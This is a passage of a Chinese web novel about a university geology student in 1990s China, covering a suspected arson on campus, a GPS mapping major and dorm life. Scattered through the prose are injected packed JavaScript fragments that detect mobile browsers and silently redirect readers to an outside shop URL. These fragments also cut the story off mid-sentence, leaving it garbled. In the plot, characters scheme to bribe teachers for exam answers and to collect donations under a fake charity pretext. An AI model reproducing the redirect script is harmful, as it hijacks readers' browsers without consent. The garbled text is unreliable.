杜校长跟他握了握手,另一只手拍了拍他胳膊,没寒暄,直接开口:“老杨,辛苦你了。游校长去京城开会,我已经跟他汇报过了。游校长高度重视,让我们务必把原因查清楚。校园安全无小事,学生的生命安全、正常的教学秩序,都要保障好。” 杨志斌点头:“杜校长,您家里这两天不是有事吗?” “游校长在京城回不来,我不来不行啊。”杜校长叹了口气,往沙发那边走,“老杨,现在什么情况?” 杨志斌跟着坐过去,把手里的文件夹翻开,一页一页地说。 “火是从实验楼后面那棵枯树开始烧的,枯树紧贴着外墙,火势顺着墙壁往上蔓延,烧穿了二楼和三楼的两间窗户,室内过火面积大约一百四十平方。**赶到的时候,火已经烧了将近二十分钟,好在那栋楼晚上没有安排实验课,楼里没人,没有造成人员伤亡。受影响的房间主要是建工系和采矿系的两间仪器室,部分设备受损,具体损失还在统计......” 杜校长听完,问了一句:“起火原因呢?” 杨志斌停顿了一下,把手里的文件夹合上,斟酌着措辞:“现场发现了纸张燃烧后的灰烬。另外,起火点附近原本没有树叶,但我们在现场发现了一堆明显被人为移动过的湿树叶。这些树叶堆在火源上,产生了大量浓烟。” 他抬头看了杜校长一眼:“这几个迹象,都不像是自然起火。” 屋里安静了一瞬。杜校长的眉头皱起来,教务处几个人交换了一下眼神,脸色都凝重了。 “老杨,”杜校长的声音沉下去,“你的意思是,有人故意纵火?” “不能排除这个可能性。”杨志斌说,“而且可能性很大。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杜校长猛然一惊,站起来道:“老杨,你的看法很有道理。起火的原因你们继续调查,暂时不宜对外公布。具体情况我会向游校长汇报。同时,保卫处要做好预防,防止类似的事情再次发生。教务处、学生会也要配合,搞一次全校火灾隐患大排查......” 杨志斌站起来跟他握了手。杜校长带着人走了,办公室里又安静下来。 他站在窗前,看着窗外黑沉沉的校园,脑子里翻来覆去还是那片现场。 纸灰倒是不少,但全被救火的人踩过、水枪冲过,稀碎,混着黑泥糊在地上,根本没法辨认。烧得这么干净,能是学生不小心闯祸? 他转过身,拿起桌上那杯凉透了的茶,喝了一口,又放下了。眉头皱了起来......不好查啊。 第93章 专业被老美卡脖子了 实验室失火对地质系的课程没造成什么影响。 到了星期一,新学期正式开课。课表是星期天导员发下来的,这学期主要还是基础课,专业课开得不多,有的专业一门,有的两门。 韩学涛的地图专业有两门专业课——一门是计算机基础,还有一门是测量学基础。 计算机基础也是地质学其他专业的公共课,只不过他的专业有点特别,因为是跟计算机系联合教学的试点,这门课要到计算机系去上,跟那边的学生一起。 图书馆开门以后,冯老师也回来了,韩学涛的勤工俭学接上了。他立刻扑进那个GPS课程里,像饿久了的人见到饭,一顿猛听。 这天他正听到一半,冯老师从外面进来,拍了拍他的肩膀:“学涛,这个课先停一下,换一个听听。” 她把手里的磁带放在桌上,上面写着“数字信号处理基础”。 韩学涛摘下耳机,愣了一下:“冯老师,这个课我已经听了快三分之一了。为什么换?” 冯老师拉过椅子坐下来,叹了口气:“还不是因为美国的SA政策。” 听冯老师一讲,韩学涛不禁皱了皱眉。总算知道这个专业今年为啥就他一个人了,原来是被老美卡了脖子。 SA政策,全称叫“选择性可用”,是美国对GPS民用信号故意加的一种干扰,让定位精度从十几米掉到一百米开外。说白了,就是怕别人用他们的卫星用得顺手。 这个政策95年实施,韩学涛是受影响的第一批学生(96级)。 这已经不是天坑专业,是直接被陨石砸中了! 冯老师接着说:“这政策对我们国家测绘行业的打击不小,基本算是一记闷棍。现在搞测绘的,谁也不知道未来几年会是什么样子。估计招生就要持续到受影响,学生不愿意报,报了也想转。学校那边研究了一下,教材编撰的事,跟GPS相关的先往后拖一拖,紧着更热门的专业来。” 韩学涛听完,靠在椅背上,没说话。 冯老师看他那样子,以为他不高兴,正要开口劝,韩学涛说了一句:“可是,冯老师,这正是我的专业。” 冯老师愣住了。 “你不是地质系的吗?不是地质学专业?” 韩学涛苦着脸:“老师,我记得我跟您说过,我的专业是地图制图学和遥感科学。” 冯老师一拍脑袋,想起来了。韩学涛第一次来图书馆报到的时候就说过了,但她当时没往心里去——在她看来,地质系的所有专业都差不多,反正都是那种“破专业”。 她张了张嘴,想说什么,又咽回去了,沉默了一会儿,说:“要不这样,我帮你换个专业。现在专业课还没正式开始,还来得及。” 韩学涛想了一下,摇了摇头:“老师,我对这个专业挺感兴趣的,还是想学这个。” 冯老师看着他,没再劝。这小子也真是够犟的。 她站起来,走到柜子前面,把那个装着GPS课程资料的盒子拿下来,放在韩学涛面前:“那你把这些拿回去自己听。别弄丢了就行。” 韩学涛大喜过望。 他虽然不太清楚SA政策具体是什么。但他知道未来地图行业会发展成什么样,这就够了。 在韩学涛的经验里,一条赛道一旦热起来,挤进去的人多了,剩下的就只有卷,只有惨烈的竞争。这不是他第一次面对这样的局面。 上一世在南美混黑道的时候就是这样。那时候**是绝对的生意之王,从生产到跨国走私,整条产业链卷进去了无数黑帮。 那时候,老美发起“哥伦比亚计划”之后,军事打击把**活动像气球一样压向周边,哥伦比亚的“海湾家族”靠控制**和**流向全球,牟取暴利;墨西哥的黑帮开始接手南美**运输线,逐渐武装成准军事组织。 所有人都往这条赛道里挤,卷到最后,真正活下来的没几个。 他那时候要人没人、要枪没枪,刚偷渡过去不久,窝在一个不起眼的华人黑帮里。 如果他当时也钻进**那个绞肉机,就不会有后来的华人地下之王。慢慢出头之后,他做过地下赌场,做过**,最后选了一个当时谁都不看好的行当——非法采金。 金矿在雨林深处,环境恶劣,运输困难,其他黑帮嫌利润薄、风险大,懒得碰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你听个屁的英语听力。”于鑫说,“耳机都没戴。” 赵江不吭声,开始翻耳机。 老谢慢悠悠说:“每个人的目标不一样,三金,我觉得你与其关心胡荔荔,不如想想你要重修的那几门课。睡吧睡吧,别耽误学涛学习。” “我擦!”于鑫从床上坐起来,翻出一只手电筒,“老子要头悬梁锥刺股了,以后谁也别跟我谈女人,动摇我的事业心!” 李靖:“三金哥,我这有锥子。” 第94章 积点德吧强哥 全校火灾隐患大检查的通知来得很快。 保卫处牵头,教务处和学生会配合,一栋楼一栋楼地排查,重点放在寝室——电炉、热得快、电热毯,但凡能发热的东西全在收缴清单上。辅导员在开会时也说得直白:谁再在寝室用大功率电器,抓到就是处分,没有第二次机会。 203寝室的热得快,首当其冲。 于鑫从食堂打饭回来,一进门脸就拉得老长:“查了,全校查,严查。热得快不让用了。” 赵江打开抽屉,拿出自己那根用了半学期的热得快,不知道该怎么处理这个烫手山芋。 李靖叹了口气:“那以后就只能去食堂打水了。热水每天定时供应,错过就没有,不像以前想烧就能烧。” 小白坐在床边没说话,低着头翻一本什么书,像是对这件事毫不关心。自从那天晚上以后,他比以前更安静了。韩学涛看了他一眼,也没说什么。 老谢是下午回来的,进门就喊:“别烧了别烧了,我刚从一楼上来,挨个寝室敲门通知,再烧抓到就是处分。” 他手里拿着一份皱巴巴的通知,念了几句重点,又说学校组织了学生夜间巡逻队,算勤工俭学的一种,问寝室有没有人报名。巡逻队晚上九点到十一点,绕着校园走一圈,检查火灾隐患,一个月给三十八块补助。 “三十八块?就遛个弯儿?”于鑫从床上翻起来,“老谢,我去。” 老谢看了他一眼,语气平淡:“你要能坚持三天,太阳打西边出来。” 于鑫想了想,又躺回去了。 小巴说:“三十八这个数字,我感觉受到了侮辱!” 老谢懒得理他,正要往下问,一个声音从角落里传过来。 “我报名。” 所有人齐刷刷看过去。楚强坐在床边,手里拿着本书,面无表情,好像刚才那句话不是他说的一样。 寝室安静了两秒。 于鑫第一个反应过来,直接从床上弹起来:“强哥,你说啥?” “巡逻队,我报名。”楚强重复了一遍。 “强哥,你不是吧?”于鑫凑过去,“你现在不谈恋爱了,就要去棒打鸳鸯?巡逻队啊,晚上九点到十一点,那是什么时间段?那是小树林最繁忙的时候。你往那一站,手电筒一照,多少对鸳鸯得被你吓得从此不举。” “积点德吧强哥。”李靖在旁边帮腔,“完了,以后小树林的鸳鸯们要有心理阴影了——巡逻队里站着一个面无表情的楚强,手电筒一照,那脸比鬼还吓人。” 楚强说:“没事干,赚点钱花花。” 老谢在报名表上写下楚强的名字,说:“行,晚上九点,楼下集合,第一天先带你走一遍路线。” 他让大家把热得快、电热毯这些大功率电器都收一收,别检查的时候被收走了。然后拉着韩学涛出去抽烟。 韩学涛知道老谢有话要说。两个人走到走廊靠窗的位置,推开半扇窗户,夜风灌进来,带着初春的凉意。 老谢点了根烟,吸了一口,吐出一团白雾。 “405那帮女的,最近是咋回事儿?”老谢开门见山。 韩学涛也点了根烟,靠在窗台上:“怎么了?我最近跟她们也没什么联系。” 老谢夹着烟的手往外一摊:“上学期谈得好好的几对,现在状态都不太对。小白和许秋那边,我问了几句,小白倒是说了点。楚强那边——我是一句话都问不出来。” 韩学涛看了他一眼:“老谢,你们学生会生活部还管这个?” “我是寝室长嘛,年龄又最大。”老谢笑了笑,“看见他们这个样子,多少关心两句。” 韩学涛没接话。对于小白的事情,哪怕两人一同经历火灾,他也一句没问过。 老谢又吸了口烟,继续说下去。 “小白和许秋的事,我问了小白几句,又问了赵江,慢慢才拼出个大概......” "好像是小白给许秋有写了诗表白,许秋没同意......本来这事过去了也就算了。报道那天,赵江拉小白去英语角,小白看见许秋跟一个留学生关系不错,当时说了什么话受了刺激,回寝室背了包就跑出去了。赵江不放心,还出去找了一圈,没找着。幸好后来小白自己回来了。不过这段时间看他一直闷闷的......” “这种事你最多安慰两句,别的也管不了。”韩学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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韩学涛把烟灭掉,淡淡道:“老谢,有些事没那么复杂。谁在台上,谁在台下,谁只是过客。要看清楚。而最关键的,还是别忘自己的本意——你当初为什么进学生会,你现在做的事,跟那个本意还对不对得上。这两点想明白了,很多事就简单了。” 老谢沉默了一会儿,点了点头。 第95章 正好顺路,你帮我拿着 第一堂专业课是计算机基础。 对地质系其他同学来说,这门课跟上学期的数学、英语没什么两样,还是一门公共课。但韩学涛不同——他所在的专业跟计算机系联合办学,这门课得去计算机系的教学楼上,跟那边的大二学生一起。 他按课表找到教室,推门进去时铃还没响,里头已经坐了三分之二的人。 韩学涛站在门口扫了一眼,正找空位,就听见前排几个女生在低声说话。声音不大,但在嗡嗡的嘈杂声里还是能听清—— “哪个班的?怎么没见过?” “不知道啊,长得还挺帅的。” “你去问问呗。” “你怎么不去?” “我不敢,你去你去……” 几个女生互相推搡,眼神不停地往他这边瞟。有的捂着嘴笑,有的假装看书,再用余光偷偷打量。 韩学涛懒得理会,扫了一圈,准备往最后一排走。 “韩学涛!” 一个清脆又熟悉的声音从教室中间传来——不大,但很清楚。 他转头看过去,愣了一下。 李曼坐在第三排靠窗的位置,正冲他招手,脸上写满了惊喜。她旁边坐着一个戴眼镜的男生,桌上摊着课本和笔记本,显然是提前来占座的。 韩学涛也有些意外,走过去问:“你怎么在这?” “我来上选修课呀。”李曼说着,转身拍了拍旁边男生的胳膊,“麻烦你换个位置行吗?我朋友来了。” 那男生愣了一下,看看李曼,又看看韩学涛,表情有点复杂。他张了张嘴,没说出什么,开始慢吞吞地收拾东西。 韩学涛连忙摆手:“不用不用,我坐后面去就行。” 计算机基础这些内容他早就在图书馆听过了,甚至连更复杂的编程课都学得差不多了。这次过来不过是报个到、混个学分,没必要这么霸道地抢别人座位。可李曼不愧是当干部的,比**还横,直接就想把人赶走。 他径直走到最后一排,找了个没人的空位坐下。刚把课本掏出来,旁边就有人落座了。 转头一看,李曼跟过来了。她把包放在桌上,从里头往外掏东西——课本、笔记本、两支笔……动作行云流水,好像这个位置本来就是她的一样。 第三排那个被丢下的男生扭头看了这边一眼,又默默转回去了。 韩学涛看着她:“你怎么跟过来了?” “我来上课呀。”李曼歪着头看他,语气理所当然,“怎么,不能坐这儿?” “你不是政管系的吗?” “政管系就是蹭课系,你不知道?”李曼说,“我们政管听着挺厉害,其实以前就是个马列教研室。后来合并了企业管理、质量管理几个专业才变成现在的系,本身没多少师资力量,很多课都得去别的系上。” 韩学涛点点头:“那这教室里有不少你们政管的人?” “没几个,大概六七个吧。”李曼说,“绝大多数都去蹭经管系的现代银行学了。” “那你为什么不去学那个?金融不是挺好的。” 李曼说:“我钱少,计算机比较实用。” 老师进来了。四十来岁的中年男人,头发有点少,夹着讲义走上讲台,清了清嗓子,开始点名。 韩学涛发现一个有意思的现象——老师每次点完一个名字,总有学生回头往他们这个方向看。有的看一眼就转回去了,有的要多看两眼。 他估计这些回头的人里,大部分都是政管系的。他们发现李曼突然跟一个其他系的男生坐在一起,大概很诧异。 韩学涛也懒得理,翻开课本,准备听听这老师讲得怎么样。 老师讲的是计算机基础概论——二进制转换、计算机硬件组成、操作系统的基本概念。韩学涛听了几分钟,就靠在了椅背上。 太浅了。 比起他在图书馆听的那些MIT计算机课程,差了不止一个档次。 他百无聊赖地翻了翻课本,又看了看黑板上的板书,眼皮开始发沉。 最近他晚上都在听MIT的GPS课程,经常熬到凌晨两三点才睡。那个课程比计算机难啃多了——信号结构、误差分析、卡尔曼滤波,每一讲都得反复听好几遍才能勉强跟上。 他本来就欠了一屁股睡眠债,这会儿坐在教室里,阳光从窗户照进来,暖洋洋地铺在身上,再加上李曼身上那股很淡的香气——不是香水,像是洗衣液的味道,混着一点不知名的清甜——特别助眠。 眼皮开始打架。 他撑着听了五分钟,又撑了五分钟,最终还是没撑住。脑袋一点一点往下栽,最后胳膊一叠,趴在桌上睡着了。 李曼正认真听课,笔记写得一丝不苟,忽然感觉旁边的人没了动静。她余光一扫——韩学涛趴在桌上,脸朝下埋在胳膊里,肩膀随着呼吸微微起伏。 睡着了? 她愣了一下,手里的笔停了。 这人怎么回事?第一堂专业课就睡觉? 她咬着笔,想捅他一下。笔尖悬在他胳膊上方,停了大概三秒,最终还是没下得去手。哼了一声,把笔收回来,从包里翻出一个随身听,按下录音键。 这一觉睡得舒服。 韩学涛是被下课铃吵醒的。他从胳膊里抬起头,教室里已经乱成一锅粥。 旁边伸过来一只手,手里攥着一个随身听。 “给你。” 韩学涛转头,李曼正看着他,表情介于认真和嗔怪之间。 他接过随身听,没反应过来:“嗯?” “老师的课我都录下来了。”李曼把耳机线也绕好,塞进他手里,“你自己回去听。” 韩学涛愣了一下,低头看了看手里的随身听,又抬头看她。 李曼已经开始了她的教育:“考上大学也不能放松。你怎么第一堂专业课就睡觉?这还是计算机系的课,你倒好,从头睡到尾,一个字都没听进去。” 她说着说着眉头就皱起来了,语气里带着一种天然的、毫不掩饰的关切:“你这样下去怎么行?大一就上课睡觉,大二是不是就该逃课了?大三呢?大四呢?” 韩学涛张了张嘴,想说自己其实都会了,那些二进制转换、计算机组成原理对现在的他来说太基础了。但看着李曼那副认真劲儿,话到嘴边又咽回去了。 他笑了笑,把随身听装进包里:“谢谢了。” 李曼这才满意地点点头,开始收拾自己的东西。 “那我回系里了,上午还有两节课。”韩学涛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428374|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起来,把椅子推回原位。 “你去吧,我要去学生会了。”李曼头也没抬,把笔记本和课本摞在一起,动作利落。 韩学涛问:“你上午没课了?就一节课?” “是啊。”李曼抬起头,“我们周一上午都是一节课,不过晚上有讲座。” 韩学涛感叹:“你们的课程可真轻松啊。” “轻松什么呀,我们专业课少,但论文多、实践多,你以为大学只有上课才算学习?”李曼白了他一眼,拎起包,“走吧。” 两个人一起出了教室,穿过计算机系教学楼的长廊,从侧门出去,沿着校园的主干道往外走。初春的阳光落在身上,暖洋洋的,路两旁的梧桐树还没发芽,光秃秃的枝丫在风里轻轻晃。 走到外语系教学楼门口的时候,一个人影从台阶上迎了过来。 程嘉。 他穿着一件深灰色的夹克,头发梳得整整齐齐,手里拿着一瓶饮料——看起来是某品牌的果汁茶,包装花花绿绿的,像是已经在外面等了一会儿了。 程嘉看见李曼和韩学涛一起走过来,明显愣了一下。目光在两个人之间来回扫了一圈,速度很快,脸上随即绽开一个笑容。 “李曼,小韩。”他笑着打招呼,举起手里的饮料晃了晃,“没想到小韩也在,饮料我只买了一瓶。” 他把饮料递向李曼。 李曼看了韩学涛一眼,连忙摆手:“不用了,不用了,谢谢师哥,我不渴。” 程嘉没缩手,笑着说:“昨天排练你不是说嗓子哑了吗?这种饮料可以润喉的。”他把瓶子又往前递了递,“你不喝也带在身上,省得待会儿排练的时候找不着喝的。” 语气温和,动作自然,话里话外透着一种不容拒绝的体贴。 他不由分说地把饮料塞进李曼手里。 李曼拿着那瓶饮料,表情有点不自在,但也没再推回去。 程嘉转向韩学涛,笑着问:“小韩去哪儿?” “回系里上课。”韩学涛说。 “那行,师弟你去吧,不耽误你上课。”程嘉语气大方,“我跟李曼去学生会。” 韩学涛看着程嘉的眼睛,嘴角慢慢弯起,意味深长的一笑。他刚要开口说点什么—— “哎呀,我想起来了!” 李曼突然一拍脑门,转头看向程嘉,语气里带着歉意:“师哥,我今天可能得晚点去学生会。我们系王老师昨天找导员跟我说,有个材料要我去拿,我一直没来得及去,我得先去教研室一趟。” 程嘉愣住了。 他的笑容还挂在脸上,但明显僵了那么零点几秒,眼睛微微眯了一下,很快又恢复正常。 “那行,你先去忙。”他说,声音还是温和的,但少了刚才那股子从容劲儿。 而李曼已经转过身去了。 她一把拉住韩学涛的胳膊,顺手把手里的书包和那瓶程嘉刚塞过来的饮料全塞进了韩学涛怀里:“正好顺路去教研室,你帮我拿着。” 韩学涛怀里突然多了一个书包和一瓶饮料,还没来得及反应,李曼已经冲程嘉摆了摆手:“师哥再见!” 然后拽着韩学涛的胳膊就走了。 身后,程嘉站在原地,脸上的笑容一点点阴了下来。 第96章 把捡来的东西卖出去 韩学涛拎着那瓶饮料,一路走到地质系教学楼。上午第二节是公共课,在大阶梯教室。他推门进去的时候,里面已经坐满了人。 于鑫坐在靠窗倒数第三排,正跟旁边的李靖手舞足蹈地说着什么。看见韩学涛进来,他招招手:“涛哥,这儿!” 韩学涛走过去坐下,把书往桌上一放,顺手把饮料递给于鑫:“拿去喝吧。” 于鑫看着那瓶花花绿绿的饮料:“啥?” “对嗓子好。” 于鑫接过来,狐疑地看了他一眼,仰头喝了一口。咂咂嘴,又喝了一口,眉头拧起来:“牛奶加果汁……涛哥,你一个大男人喝这么娘的饮料,不怕窜稀?” 韩学涛翻开课本,头都没抬:“就是怕,所以送你。” 于鑫噎了一下,盯着手里的饮料看了两秒,然后咕咚咕咚灌了两大口,把瓶子往桌上一墩:“我不怕,窜稀就当减肥了。” 他抹了把嘴,忽然凑过来,脸上带着一种受宠若惊的表情,“涛哥,今天怎么对我这么好?专门给我买饮料喝。” “喜欢你呗。”韩学涛翻了一页书。 于鑫捂着胸口:“涛哥,没想到你是这样的人,竟然垂涎我的美色!”他眼珠子一转,又压低声音凑回来,“要不这样——你帮我把重修的几门考了,我就以身相许,怎么样?” 韩学涛终于抬起头,看了他一眼:“正式考试找人**,或许还能混过去。现在系里重修的就四五个人,你怎么混?监考老师又不是瞎子,就算瞎了也分能清你们谁是谁。” 于鑫的表情肉眼可见地垮了下去,“那怎么办?重修要是还考不过,那就麻烦了。” “还能怎么办?学呗。” “我要是能学进去,我不就学了么。”于鑫苦着脸,“涛哥,你招多,帮我想想办法。” 韩学涛想了想:“找人**不现实,只能从老师那边打开突破口。” “老师?” “送点东西吧,看能不能提前拿到试题。” 于鑫一愣,眼珠子开始转了起来。他掰着手指头念念有词:“郑老师烟鬼一个,上课十来分钟就得出去抽一根,送烟肯定好使。王老师听说爱喝两口,白酒,最好是高度的。周老师刚结婚,也好办。最难办的是钱老师,不抽烟不喝酒,但听说他女儿身体不太好,可以送点红桃K……” 他自言自语分析了一大堆,最后一拍脑袋,“操!分析这么多有个**用,老子没钱呀!一个老师还能送,四五个老师怎么整?” 韩学涛看了他一眼:“**我帮不了你,但借你点钱还是可以的。回头你算好要多少钱,跟我说一声。” 于鑫怔住了。他盯着韩学涛看了好几秒,又低头看了看手里喝了一半的饮料:“涛哥,怎么坐你旁边,感觉我才是特困生?” 楚强参加了巡逻队,每天晚上九点到十一点,拿个手电筒在校园里转悠。 第一天晚上回来,手里多了两本课本和一个校徽。一个星期之后,他提着一个塑料袋回来,往桌上一倒—— 哗啦一声,东西堆了小半张桌子。 于鑫第一个凑过来,眼睛都直了:“卧草,强哥,你这是去其他宿舍**了?” 他一样一样地翻——三个学生证(两男一女),五张饭卡(其中一张贴着卡通贴纸),两串钥匙(一串上挂着毛绒小熊),一只黑手套,一本《大学英语》第四册(扉页上写着“外语系95级王笑”),一个笔袋,里面装着几支笔和一把尺子…… “强哥你可以啊,捡了这么多女生东西,给人送回去说不定就来缘分了。”李靖在旁边感叹。 于鑫继续往下翻,忽然手一顿,捏着什么东西的边角,慢慢从杂物堆里提溜出来——一个小方盒,透明的塑料包装,里面是一个圆形的铝箔袋,上面印着几个字。 寝室安静了零点几秒。 “避孕套!”小巴从上铺探出头来,声音里带着发现新大陆的兴奋,“强哥你连这都能捡到?还是没拆封的!” 于鑫把那盒避孕套举起来,啧啧两声:“这牌子好像挺贵的。” “有啥用,又不能换钱。”楚强看了于鑫一眼,“要不便宜卖给你。” 于鑫连忙摆手:“强哥,我谢谢你。就算你白送给我,我也得能用得上啊!”他在寝室里扫了一圈,“这玩意儿整个寝室,也就你和李靖能用得上。” 他本来想说韩学涛的,嘴都张开了,忽然想起涛哥借钱给他重修的事,话到嘴边硬生生拐了个弯,把韩学涛的名字咽了回去。 李靖不乐意了:“为啥我能用上?” “我感觉你和高洋应该差不多了。”于鑫一脸过来人的表情,“找个机会,你脸皮厚一点,心一横也就突破了。” 李靖的表情变得很微妙:“我怎么感觉你这话有点不合法呢?” 楚强把避孕套扔给李靖:“你要担心就 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第二天中午,楚强拉着韩学涛一起去食堂打饭。两个人端着餐盘找了个角落坐下来,楚强扒了两口饭,忽然开口:“涛哥,你有没有什么办法,能把我捡回来的那些东西卖出去?” 韩学涛正在夹菜,筷子顿了一下,抬头看了他一眼。心想,楚强最近怎么这么缺钱?他想了想,放下筷子:“那些东西卖不太合适,但可以换一种方式。” 楚强问:“什么方式?” “搞一个失物认领。”韩学涛说,“课本、学生证、饭卡、钥匙,都是别人丢了会着急的东西。你把公告贴出去,丢东西的同学看到后,多半会来认领。” 楚强点了点头。 “然后你弄一个捐款箱,”韩学涛继续说,“找个理由——比如‘校园爱心募捐’、‘支援贫困山区’什么的,让他们献点爱心。人家丢了东西正着急,你给找回来了,心里一高兴,多多少少都会出点钱。一块两块不嫌少,五块十块不嫌多。” 楚强的筷子停在半空中,眼睛慢慢亮了起来。 韩学涛接着说:“关键这事儿你也别自己搞。你去找老谢,他是学生会生活部的,让学生会牵个头,这样就名正言顺了。然后你以学生会的名义,把巡逻队其他人捡到的东西都收上来,统一搞认领,最后收到的捐款再统一分配。这事搞起来,有钱,有人,巡逻队从此你说了算。” 楚强听完,沉默了两秒,缓缓点了点头。 第97章 同学,能不能麻烦你换个座位? 计算机课每周有两节,一节在周一上午,一节在周五下午。 周五下午这堂课前头,先是一节马原。地质系教学楼的大阶梯教室里,老教授照着课本念了四十五分钟的物质决定意识、社会存在决定社会意识,底下睡倒了一大片。 韩学涛撑着听了半节课,后半节也睁不开眼睛了。 下课铃响的时候,他打了个哈欠,背上包就往外走。 刚出教学楼大门,身后有人追上来。 “涛哥!” 韩学涛回头,小白从台阶上三步并作两步跑下来,手里也拎着一个书包,脸上带着一点不太自然的笑。 “你干啥?”韩学涛问。 小白跑到他跟前,喘了一口气,说:“我也去计算机系。” 韩学涛没反应过来:“你去计算机系干什么?” “我转专业了。”小白说,“跟你一样。” 韩学涛停下脚步,上下打量了他一眼,眉头微微皱起来:“你转到地图测绘专业了?” 小白点头。 “为什么?”韩学涛问,“你原来的专业不好吗?” 小白跟在他旁边往前走,沉默了几步,才开口:“我以前的专业,整个系也没几个人,而且都不住我们那层楼,更别说我们寝室了。” 他顿了顿,声音低了些:“我不想一个人。” 韩学涛没接话,等着他说下去。 “我就去问了系里面。教务处说你这个专业还可以转,我就办了手续。”小白说完,看了韩学涛一眼。 “你以前是什么专业来着?”韩学涛问。 “古生物学和地层学。” 韩学涛心想,确实也是个很冷门的专业了。当时转专业的老师也曾经把这个专业拿出来让他选过,他记得很清楚——古生物学和地层学,就业方向大概是博物馆、地质勘探队、科研院所,听着体面,实际上跟他的地图专业半斤八两,都属于天坑范畴。 他看了一眼小白,脑子里忽然闪过一个念头——小白转专业,不会是因为那天晚上跟他一起放了火吧? “小白,”韩学涛斟酌了一下措辞,“你考虑清楚了没有?我觉得你那种文艺的气质,可能比较适合古生物学,起码以后可以分到博物馆、研究所什么的。画地图搞测绘的,经常在外面跑,风吹日晒的,跟你写诗的风格不太搭。” 小白没说话。 韩学涛继续说:“转专业这种事情,最好跟家里人商量一下。” “我已经决定了。”小白平静地说,“而且手续都办完了。” 韩学涛看了他一眼,没再劝了。 两个人穿过校园主干道,拐进计算机系教学楼。 阶梯教室里坐了大概一半的人,比周一少,气氛也更放松——毕竟是周五下午,最后一节课,很多人的心思已经飞到周末去了。 两个人在倒数第三排靠窗的位置坐下来。韩学涛掏出课本,小白坐在他旁边,把笔记本和笔摆得整整齐齐,跟他在寝室里收拾东西的风格一模一样。 没几分钟,教室门口出现了一个人影。 李曼。 她站在门口,目光在教室里扫了一圈,很快就锁定了韩学涛的位置。嘴角弯了一下,拎着包就直接走了过来,步子不快不慢,带着一种理所当然的气势。 走到跟前,她第一句话不是跟韩学涛说的。 她看着小白,礼貌地笑了笑,语气客气但直接:“同学,能不能麻烦你换个座位?” 小白愣住了。 他当然认识李曼。新生汇演的时候,李曼作为学生会生活部新上任的副部长,在后台跑来跑去地组织协调,给很多人留下了印象。小白当时在后台候场,亲眼看见她一个人指挥好几个男生搬道具,说一不二,效率奇高。 但他没想到,在计算机系的教室里会碰上她,更没想到她上来就要把自己撵走。 小白张了张嘴,一时不知道说什么。 韩学涛赶紧介绍:“这是我同寝的室友,周晓白,我们都叫他小白。” 李曼“啊”了一声,表情变得“有点不好意思”:“新生汇演跳霹雳舞的那个?” 小白点头。 李曼:“那算了,我坐其他位置好了……” “就坐这儿!”小白反应过来了,连忙站起来,把桌上的东西往包里划拉,“我有点近视,我坐前面一点。” “这样啊,那谢谢了。”李曼笑了一下,没再客气。 小白抱着包往前走了两排,找了个空位坐下来,把东西重新掏出来摆好。他坐下来的那一刻,不自觉地回头看了一眼——李曼已经在韩学涛旁边坐下了,正把包放在桌上,从里面往外掏课本和笔记本,动作自然得像那个位置本来就是她的一样。 李曼把东西摆好,偏头看了韩学涛一眼,笑意盈盈的:“你不说你们寝室就你一个人过来么?” “小白刚转的专业。”韩学涛说。 可能是因为马原课上睡了一觉,养足了精神,计算机课倒没那么困了。 韩学涛坐在李曼旁边,听老师讲课——还是那些东西,他闭着眼睛都能背出来。但他不好意思再睡了。一来李曼那关过不去,二来人家上周好心好意给他录了音,这周要是再睡,多少有点不知好歹。 于是他装出一副认真听讲的样子,坐得端端正正,目光落在黑板上,偶尔还跟着老师的节奏点一下头。李曼余光扫了他一眼,嘴角微微弯了一下,显然对他的表现还算满意。 韩学涛的手也没闲着。他翻开笔记本,翻到空白的一页,开始在上面写写画画。 表面上是在记笔记,实际上他写的是代码。 他正在试着写一小段应用GPS的程序。伪距定位、四颗卫星解算、最小二乘法,这些公式他已经在MIT的课程里听过无数遍了,但真正写成代码还是头一回。手里没有编译器,只能在纸上把逻辑先理清楚,回头找机会再上机调试。 笔尖在纸面上沙沙地走,一行一行地往下写。旁边李曼的笔也在沙沙地响,两个人的声音合在一起,听着竟然有一种奇怪的和谐。 下课铃响的时候,韩学涛已经把伪距定位的函数框架写了大半。他合上笔记本,正要往包里塞,李曼偏过头来看他—— “今天还不错嘛,”李曼语气里带着一点小得意,“比周一强多了,周一从头睡到尾,一个字没听进去。” 韩学涛笑了笑,没解释。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428376|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李曼一边收拾东西一边继续说:“我跟你说,你以后这门课真得好好学。上学期我们政管系有个导师跟我聊过一次,说了很多关于计算机的话,我印象特别深。” 韩学涛把包拉链拉上,看着她。 